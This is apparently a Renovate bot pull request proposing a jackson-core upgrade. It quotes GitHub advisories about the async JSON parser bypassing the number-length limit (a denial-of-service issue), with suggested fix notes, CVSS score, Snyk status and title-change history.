Note: _setIntLength itself can't be used as-is because it also assigns _intLength, and _intLength must not be set until the integer is truly complete (subsequent fraction handling reads _intLength). The minimal fix is to call only the validator, as shown.

Apply the same one-line insertion before each return _updateTokenToNA(); that exits with _minorState = MINOR_NUMBER_INTEGER_DIGITS. The sites are listed above (12 lines total).

Alternatively, a heavier refactor: also gate _textBuffer.expandCurrentSegment() calls inside the digit-accumulation loops on outPtr < maxNumberLength so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.

Credit

Reported by tonghuaroot (tonghuaroot@gmail.com). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition

GHSA-72hv-8253-57qq

More information

Details

Summary

The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).

The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.

Details

The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.

  • The number parsing methods (e.g., _finishNumberIntegralPart) accumulate digits into the TextBuffer without any length checks.
  • After parsing, they call _valueComplete(), which finalizes the token but does not call resetInt() or `

✂ Note

PR body was truncated to here.

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⛔ Snyk checks have failed. 1 issues have been found so far.

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@renovate renovate Bot changed the title security(maven): 🛡️ minor 🛡️ vulnerability [high] security(maven): 🛡️ minor compile to v2.19.0 Jun 25, 2026
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@renovate renovate Bot changed the title security(maven): 🛡️ minor compile to v2.19.0 security(maven): 🛡️ minor compile to v2.18.8 Jul 1, 2026
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@renovate renovate Bot changed the title security(maven): 🛡️ minor compile to v2.18.8 security(maven): 🛡️ minor compile to v2.18.9 Jul 17, 2026
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@renovate renovate Bot changed the title security(maven): 🛡️ minor compile to v2.18.9 security(maven): 🛡️ minor 🛡️ vulnerability [high] Jul 22, 2026
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